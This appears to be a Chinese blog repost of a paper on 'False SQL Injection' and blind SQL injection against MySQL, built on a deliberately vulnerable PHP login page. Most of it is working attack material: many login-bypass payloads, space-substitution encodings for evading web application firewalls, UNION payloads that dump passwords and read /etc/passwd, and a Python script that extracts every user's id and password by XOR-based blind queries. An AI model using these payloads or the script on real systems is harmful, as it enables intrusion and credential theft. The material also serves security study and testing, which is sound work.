最新消息:

False SQL Injection and Advanced Blind SQL Injection

MySQL注入 admin 2815浏览 0评论

转自:http://drops.wooyun.org/tips/968

0x00 基础知识

1、MySQL运算符的优先级

运算符的优先级决定了不同的运算符在表达式中计算的先后顺序。

MySQL中所有运算符的优先级的顺序按照从高到低,从上到下,依次降低。一般情况下,级别高的运算符先进行计算,如果级别相同,MySQL按照表达式的顺序从左到右依次计算

MySQL运算符的优先级如下:

优先级 运算符
1(最高) !
2 -(负号),~(按位取反)
3 ^(按位异或)
4 *,/(DIV),%(MOD)
5 +,-
6 >>,<<
7 &
8 |
9 =(比较运算),<=>,<,<=,>,>=,!=,<>,IN,IS NULL,LIKE,REGEXP
10 BETWEEN AND,CASE,WHEN,THEN,ELSE
11 NOT
12 &&,AND
13 XOR
14 ||,OR
15(最低) =(赋值运算),:=

 

2、MySQL 中的 <=> 操作符

<=>是完全等于的比较运算符。

2.1 与=的比较

(1) 和=号的相同点
像常规的=运算符一样,两个值进行比较,结果是0(不等于)或1(相等);换句话说:’A'<=>’B’得0和’a'<=>’a‘得1。
(2)和=号的不同点
和=运算符不同的是,NULL的值是没有任何意义的。所以=号运算符不能把NULL作为有效的结果。所以:请使用<=>,’a’ <=> NULL 得0 NULL<=> NULL 得出 1。和=运算符正相反,=号运算符规则是 ‘a’=NULL 结果是NULL 甚至NULL = NULL 结果也是NULL。顺便说一句,mysql上几乎所有的操作符和函数都是这样工作的,因为和NULL比较基本上都没有意义。

2.2 用处

当两个操作数中可能含有NULL时,你需要一个一致的语句。

... WHERE col_a <=> ? ...

这里的占位符有可能是常量也有可能是NULL,当使用<=>运算符时,你没有必要对查询语句做任何修改。

2.3相关操作符
除了 <=> ,还有两个其他的操作符用来处理某个值和NULL做比较,也就是IS NULL and IS NOT NULL。他们是ANSI标准中的一部分,因此也可以用在其他数据库中。而<=>只能在mysql中使用。

你可以把<=>当作mysql中的方言。

 'a' IS NULL     ==> 'a' <=> NULL
 'a' IS NOT NULL ==> NOT('a' <=> NULL)

3、字符串与数字对比

字符字段和数字比较的时候,会对字符串进行类型转换,即将字符串的值转换成double值。字符串转换成double值时,转换成的值是字符串中前面数字部分,如果字符串前面不是以数字开头则转换为0.

QQ截图20141218220146

字符串在进行转换时会报出警告信息:Truncated incorrect DOUBLE value: ‘xxx’,不过不用管它会成功进行转换的。

ps:因此,在查询语句中字符串和0比较时会返回所有以非数字开始的字符串的列。

0x01 背景


原文地址:http://www.exploit-db.com/papers/18263/

这篇文章是为介绍一种新的绕过web防火墙或安全解决方案的SQL注入的方法而编写的。我(原文作者,下同)在一些韩国的防火墙上做了测试,大部分都能成功,我不会为减少影响而透露所测试的web防火墙的制造商。

阅读本文档之前你需要先了解基本的MySQL原理。我将“SQL注入”归类为两类。第一类是一般的SQL注入,即我们通常所说的“真SQL注入”,第二类是“假SQL注入”。在本文档中,你将了解到一些“真SQL注入”的特点。

0x02 准备


我的方法(假SQL注入)与“盲注”中提到的真/假SQL注入的方法是真的不同的。测试的环境如下。

win7        x64
mySQL       5.5.20
Apache      2.2.21
PHP         5.3.10

测试代码如下:

<?php
error_reporting(0);
 
/*
create database injection_db;
use injection_db;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));
 
insert into users values(1, 'admin', 'ad1234');
insert into users values(2, 'wh1ant', 'wh1234');
insert into users values(3, 'secuholic', 'se1234');
 
*** login.php ***
*/
 
if(empty($_GET['id']) || empty($_GET['password'])){
  echo "<html>";
  echo "<body>";
  echo "<form name='text' action='falsesqli.php' method='get'>";
  echo "<h4>ID     <input type='text' name='id'><br>";
  echo "PASS   <input type='password' name='password'><br></h4>";
  echo "<input type='submit' value='Login'>";
  echo "</form>";
  echo "</body>";
  echo "</html>";
}
 
else{
  $id = $_GET['id'];
  $password = $_GET['password'];
 
  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = '';
  $database = 'injection_db';
 
  $db = mySQL_connect($dbhost, $dbuser, $dbpass);
  mySQL_select_db($database,$db);
  $SQL = mySQL_query("select * from users where id='$id' and password='$password'") or die (mySQL_error());
 
  $row = mySQL_fetch_array($SQL);
 
  if($row[id] && $row[password]){
    echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>";
    echo "<h3><font color=#000000>"."Hello, "."</u>";
    echo "<font color=#D2691E>".$row[id]."</u></h3><br>";
  }
  else{
    echo "<script>alert('Login failed');</script>";
  }
  mySQL_close($db);
}
?>

首先,基本的SQL注入如下

' or 1=1#

The code above is general SQL Injection Code, and this writer classified the code as "True SQL Injection". When you log on to some site, in internal of web program, your id and password are identified by some statement used "select id, password from table where id='' and password='', you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process.

上面的代码是一般的SQL注入代码,我将这类代码归为“真SQL注入”。当你登录网站的时候,在网站的内部程序中,你的ID和密码会被一些语句 用”select id, password from table where id=” and password=””识别,如果你把单引号当做0你可以很容易地理解。空的空间与0是相等的,攻击可以使用‘=’和‘0’。这样一来,下面的语句就能 完成登录过程。

'=0#

我们可以以不同的方式运用它。

因为0>-1,这一句也能成功。

'>-1#

同样的,因为0<1,所以这一句也能成功。

'<1#

你不必只使用单一的数字。你可以像下面一样使用两个数字攻击。

1'<99#

Comparison operation 0=1 will be 0, the following operation result is true because of id=”=0(0=1). 比较操作“0=1”的结果将会是0,又因为id=”=0,所以以下的操作结果是真。

'=0=1#

此外,还可以使用一些比较动作能使得两边的值相等。

'<=>0#

像这样,如果你使用比较操作,你可以用额外的方式进行攻击。

'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#

0x03 不同的SQL操作


现在,你将开始理解False SQL injection。以下为MySQ操作,不是攻击语句。

mySQL> select * from users;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.01 sec)

毫无疑问,它显示了所有表中的返回内容。 以下是当你不输入任何值在id字段时的返回内容。

mySQL> select * from users where id='';
Empty set (0.00 sec)

因为在id字段没有任何字符串,所以不会有返回结果。 事实上,从这里我已经看到,如果在MySQL字符串字段为0的情况下,返回结果始终为真。根据这个现象,以下语句结果为真。

mySQL> select * from users where id=0;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.00 sec)

如果你在ID中输入0,所有ID转换成double时为0的行的内容都将被显示。这就是假SQL注入的原理。无论如何,结果为0(真)将使得登录成功。为了使结果为0(真),你需要一些东西处理整数,如使用位操作和算术运算

(1)位运算

或位运算为任何程序员所熟知。正如我之前告诉过你的,”等于0。如果你计算“0或0”,结果还是0. 所以下面的假SQL注入能成功登录。

'|0#      按位或
'&0#      按位与
'^0#      异或运算
'<<0#     移位操作         
'>>0#     移位操作

或者是位运算的复合操作:

'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#

(2)算数运算

如果使用带有”的算术运算的结果为0,攻击将会成功。

'*9#     乘法
'/9#     除法
'%9#     求余
'+0#     加法
'-0#     减法

关键点在于结果必须小于1。你也可以使用如下语句攻击。

'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#

(3)函数功能

使用函数功能进行攻击方式并不难,所以你们可以使用函数进行你们想要的真/假SQL攻击。而这种攻击是“真SQL注入”或是“假SQL注入”取决于函数返回后的最后一个操作。

'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#

此外,您还可以将空格做为函数名进行攻击。但你只能在某些函数中使用空格。

'=upper     (0)#

(4)sql关键字

SQL的关键字是方法。这种方法根据情况视作为真或假SQL注入。

' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#

(5)用户名和password联动

在id或password区域中没有额外注释的很可能是真的假SQL注入。一般的web防火墙只过滤#, –, /**/,因此该方法在web防火墙中更有效。

ID  : '='
PASS: '='

ID  : '<>'1
PASS: '<>'1

ID  : '>1='
PASS: '>1='

ID  : 0'='0
PASS: 0'='0

ID  : '<1 and 1>'
PASS: '<1 and 1>'

ID  : '<>ifnull(1,2)='1
PASS: '<>ifnull(1,2)='1

ID  : '=round(0,1)='1
PASS: '=round(0,1)='1

ID  : '*0*'
PASS: '*0*'

ID  : '+'
PASS: '+'

ID  : '-'
PASS: '-'

ID  :'+1-1-'
PASS:'+1-1-'

使用文本的攻击比使用括号的攻击在绕过web防火墙时会更有效。

'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#

0x04 绕过

让我们来看看一般的SQL注入攻击。

' or 1=1#

如果被转换为16进制编码,将会是这样的。

http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234

像上面的攻击基本都会被过滤。因此它不是好的攻击方法,我将尝试使用tab(%09)代替空格绕过过滤器。事实上。你还可以使用%a0代替%09

也可以使用以下的值。

%09
%0a
%0b
%0c
%0d
%a0
%23%0a
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a

ps:%0a和%a0都是可以用于绕过waf检测的,不要混淆了。

以下是使用%A0代替%20的例子。

http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234

这一次,我将展示盲注的攻击方法,这种攻击可以绕过web防火墙过滤器,但一些攻击者倾向于认为盲注不可能实现登录。所以我决定展示这个例子。

下面的攻击代码能被用来登录页面且页面将显示ID和密码

'union select 1,group_concat(password),3 from users#

下面这个攻击代码将显示/etc/password的内容

'union select 1,load_file(0x2f6574632f706173737764),3 from users#

我敢说在盲注中不使用union select也是可以的。

判断记录的结果是否有三个:

admin' and (select count(*) from users)=3#

让我们使用盲注绕过web防火墙。以下是一份有存在盲注漏洞的代码:

<?php
 
  /*** info.php ***/
 
  $n = $_GET['num'];
  if(empty($n)){
    $n = 1;
  }
 
  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'root';
  $database = 'injection_db';
 
  $db = mySQL_connect($host, $dbuser, $dbpass);
  mySQL_select_db($database,$db);
  $SQL = mySQL_query("select * from `users` where num=".$n) or die (mySQL_error());
  $info = @mySQL_fetch_row($SQL);
  echo "<body bgcolor=#000000>";
  echo "<h1><font color=#FFFFFF>wh1ant</font>";
  echo "<font color=#2BF70E> site for blind SQL injection test</h1><br>";
  echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>";
  echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>";
  echo "<body>";
  mySQL_close($db);
 
?>

基本的盲注如下:

http://127.0.0.1/info.php?num=1 and 1=0
http://127.0.0.1/info.php?num=1 and 1=1

在Blind SQL Injection可以使用运算符=

http://192.168.137.129/info.php?num=1=0
http://192.168.137.129/info.php?num=1=1

QQ截图20141219105434 QQ截图20141219105447

ps:num=1=0显示的是id不是1的行,所以首先显示的是num=2的内容。

除了使用=自然也能使用其它的运算符:

http://127.0.0.1/info.php?num=1<>0
http://127.0.0.1/info.php?num=1<>1
http://127.0.0.1/info.php?num=1<0
http://127.0.0.1/info.php?num=1<1
http://127.0.0.1/info.php?num=1*0*0*1
http://127.0.0.1/info.php?num=1*0*0*0
http://127.0.0.1/info.php?num=1%1%1%0
http://127.0.0.1/info.php?num=1%1%1%1
http://127.0.0.1/info.php?num=1 div 0
http://127.0.0.1/info.php?num=1 div 1
http://127.0.0.1/info.php?num=1 regexp 0
http://127.0.0.1/info.php?num=1 regexp 1
http://127.0.0.1/info.php?num=1^0
http://127.0.0.1/info.php?num=1^1

攻击示例:

http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)
http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)
http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)

http://127.0.0.1/info.php?num=0^(id=0x61646d696e)

http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)

If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a.

展示所有的攻击过程将会浪费我大量的时间,所以到此为止。手工盲注是很困难的,所以使用工具会更有效。下面是一个python写的工具,这是一个使用异或运算的例子。为了绕过大多数的web防火墙,我将空格换成了%0a。

### blind.py ###
 
import urllib
import sys
import os
 
 
 
def put_data(true_url, true_result, field, index, length):
    for i in range(1, length+1):
        for j in range(32, 127):
            attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i)
            attack_open = urllib.urlopen(attack_url)
            attack_result = attack_open.read()
            attack_open.close()
 
            if attack_result==true_result:
                ch = "%c" % j
                sys.stdout.write(ch)
                break
    print "\t\t",
 
def get_length(false_url, false_result, field, index):
    i=0
    while 1:
        data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i)
        data_length_open = urllib.urlopen(data_length_url)
        data_length_result = data_length_open.read()
        data_length_open.close()
        if data_length_result==false_result:
            return i
        i+=1
 
url = "http://127.0.0.1/info.php"
 
true_url = url + "?num=1"
true_open = urllib.urlopen(true_url)
true_result = true_open.read()
true_open.close()
 
false_url = url + "?num=0"
false_open = urllib.urlopen(false_url)
false_result = false_open.read()
false_open.close()
 
 
print "num\t\tid\t\tpassword"
fields = "num", "id", "password"
 
for i in range(1, 4):
    for j in range(0, 3):
        length = get_length(false_url, false_result, fields[j], i)
        length = put_data(false_url, true_result, fields[j], i, length)
    print ""

———————————————————————————————————————————————-

ps:

(1)上面文章讲的False SQLI和True SQLI都可以进行注入来绕过登陆,其实理解起来并不困难,只要理解了sql中运算符的优先级和字符串与0的比较即可。

QQ截图20141219111122

上面三个语句中前两个算是True SQLI,后一个算是False SQLI,理解事注意运算符的优先级。=和<是比较运算符,优先级相同,所以先从左开始算起,即(‘root’=”)<1。|是位运算符,优先级高于=,所以’root’=”|0相当于 ‘root’=(”|0)。

(2)为了绕过waf检测,可以将注入时语句中的空格替换成如下字符:

%09
%0a
%0b
%0c
%0d
%a0
%23%0a
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a

其他绕过waf的方法参考:http://drops.wooyun.org/tips/968。

参考资料:

1、深入了解SQL注入绕过waf和过滤机制

2、过360webscan注入与齐博CMS后台获取webshell

3、GET参数SQL注入%0A换行污染绕过

4、MySQL运算符的优先级

5、如何理解 MySQL 中的 <=> 操作符?

转载请注明:jinglingshu的博客 » False SQL Injection and Advanced Blind SQL Injection

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址